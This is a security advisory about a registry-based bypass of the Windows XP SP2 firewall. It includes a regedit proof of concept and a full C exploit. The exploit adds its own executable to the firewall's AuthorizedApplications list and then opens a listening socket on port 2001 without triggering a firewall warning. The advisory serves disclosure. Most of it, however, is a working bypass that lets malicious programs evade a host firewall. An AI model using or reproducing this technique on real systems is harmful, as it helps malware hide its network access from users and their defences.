[NT] Windows XP Firewall Bypassing (Registry Based)

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  Windows XP Firewall Bypassing (Registry Based)
------------------------------------------------------------------------


SUMMARY

Microsoft Windows XP SP2 comes bundled with a Firewall. Direct access to 
Firewall's registry keys allow local attackers to bypass the Firewall 
blocking list and allow malicious program to connect the network.

DETAILS

Vulnerable Systems:
 * Microsoft Windows XP SP2

Windows XP SP2 Firewall has list of allowed program in registry which are 
not properly protected from modification by a malicious local attacker.

If an attacker adds a new key to the registry address of 
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ 
SharedAccess\Parameters\FirewallPolicy\StandardProfile\ 
AuthorizedApplications\List, the attacker can enable his malware or Trojan 
to connect to the Internet without the Firewall triggering a warning.

Proof of Concept:
Launch the regedit.exe program and access the keys found under the 
following path:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ 
SharedAccess\Parameters\FirewallPolicy\StandardProfile\ 
AuthorizedApplications\List

Add an entry key such as this one:
Name: C:\chat.exe
Value: C:\chat.exe:*:Enabled:chat

Exploit:
#include <stdio.h>
#include <windows.h>
#include <ezsocket.h>
#include <conio.h>
#include "Shlwapi.h"

int main( int argc, char *argv [] )
    {
    char buffer[1024];
    char filename[1024];

    HKEY hKey;
    int i;

    GetModuleFileName(NULL, filename, 1024);

    strcpy(buffer, filename);
    strcat(buffer, ":*:Enabled:");
    strcat(buffer, "bugg");

    RegOpenKeyEx(

       HKEY_LOCAL_MACHINE,
       "SYSTEM\\CurrentControlSet\\Services" 
"\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile" 
"\\AuthorizedApplications\\List",
       0,
       KEY_ALL_ACCESS,
       &hKey);

    RegSetValueEx(hKey, filename, 0, REG_SZ, buffer, strlen(buffer));
    
    int temp, sockfd, new_fd, fd_size;
    struct sockaddr_in remote_addr;

    fprintf(stdout, "Simple server example with Anti SP2 firewall trick    
\n");
    fprintf(stdout, "             This is not trojan                       
\n");
    fprintf(stdout, "             Opened port is :2001                     
 \n");
    fprintf(stdout, "author:Mark Kica student of Technical University 
Kosice\n");
    fprintf(stdout, "Dedicated to Katka H. from Levoca                     
  \n");

    sleep(3);

    if ((sockfd = ezsocket(NULL, NULL, 2001, SERVER)) == -1)
        return 0;
        

    for (; ; )
        {
        RegDeleteValue(hKey, filename);
          fd_size = sizeof(struct sockaddr_in);

        if ((new_fd = accept(sockfd, (struct sockaddr *)&remote_addr, 
&fd_size)) == -1)
            {
            perror("accept");
            continue;
            }
        temp = send(new_fd, "Hello World\r\n", strlen("Hello World\r\n"), 
0);
        fprintf(stdout, "Sended: Hello World\r\n");
        temp = recv(new_fd, buffer, 1024, 0);
        buffer[temp] = '\0';
        fprintf(stdout, "Recieved: %s\r\n", buffer);
        ezclose_socket(new_fd);
        RegSetValueEx(hKey, filename, 0, REG_SZ, buffer, strlen(buffer));

        if (!strcmp(buffer, "quit"))
            break;
        }

    ezsocket_exit();
   return 0;
    }

/* EoF */


ADDITIONAL INFORMATION

The information has been provided by  <mailto:crusoe@alexandria.cc> Mark 
Kica.
The original article can be found at:  
<http://taekwondo-itf.szm.sk/bugg.zip> 
http://taekwondo-itf.szm.sk/bugg.zip



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